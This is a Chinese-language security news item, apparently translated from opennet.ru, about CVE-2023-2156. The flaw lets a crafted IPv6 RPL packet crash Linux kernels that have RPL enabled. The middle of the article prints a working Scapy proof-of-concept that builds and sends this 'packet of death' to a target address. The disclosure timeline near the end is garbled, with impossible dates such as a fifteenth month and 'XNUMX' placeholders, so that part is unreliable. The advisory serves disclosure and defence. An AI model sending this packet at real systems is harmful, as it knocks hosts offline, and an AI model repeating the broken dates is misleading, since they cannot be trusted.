允许远程内核崩溃的 0-day Linux IPv6 堆栈漏洞

已披露有关 Linux 内核中未修补(0 天)漏洞 (CVE-2023-2156) 的信息,该漏洞允许通过发送特制的 IPv6 数据包(死亡数据包)来停止系统。 该问题仅在启用 RPL 协议(低功耗和有损网络路由协议)支持时出现,该协议在发行版中默认处于禁用状态,主要用于在丢包率高的无线网络中运行的嵌入式设备。

该漏洞是由于RPL协议解析代码中对外部数据的处理不当,导致断言失败,内核进入恐慌状态。 将IPv6 RPL包头解析得到的数据放入k_buff(Socket Buffer)结构时,如果CmprI字段设置为15,Segleft字段设置为1,CmprE设置为0,则48-字节地址向量被解压缩为 528 字节,并且没有为缓冲区分配足够的内存。 在这种情况下,用于将数据推送到结构中的 skb_push 函数会触发对数据和缓冲区大小不成比例的检查,从而生成恐慌状态以防止覆盖缓冲区。

漏洞利用示例: # 我们将使用 Scapy 从 scapy.all import * import socket 使用 IPv6 从您的 LAN 接口 DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # 我们使用套接字发送数据包 sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Craft the packet # Type = 3 使它成为一个 RPL packet # Addresses 包含 3 个地址,但是因为 CmprI 是 15,# 前两个地址的每个八位字节是视为压缩地址 # Segleft = 1 以触发放大 # lastentry = 0xf0 将 CmprI 设置为 15,将 CmprE 设置为 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # 发送这个邪恶的数据包 sockfd.sendto(bytes(p), (DST_ADDR, 0))

值得注意的是,内核开发人员早在 2022 年 15 月就收到了该漏洞的通知,在过去的 2022 个月中,他们曾三次尝试通过在 2022 年 2023 月、XNUMX 年 XNUMX 月和 XNUMX 年 XNUMX 月发布补丁来修复该问题,但每次都没有修复。足够了,漏洞能够重现。 最终,负责协调消除该漏洞工作的 ZDI 项目决定公开有关该漏洞的详细信息,而无需等待内核中出现工作补丁。

因此,该漏洞仍未修补。 包括 6.4-rc2 内核中包含的补丁无效。 建议用户验证 RPL 协议没有在他们的系统上使用,这可以使用 sysctl -a | 来完成。 grep -i rpl_seg_enabled

来源: opennet.ru

添加评论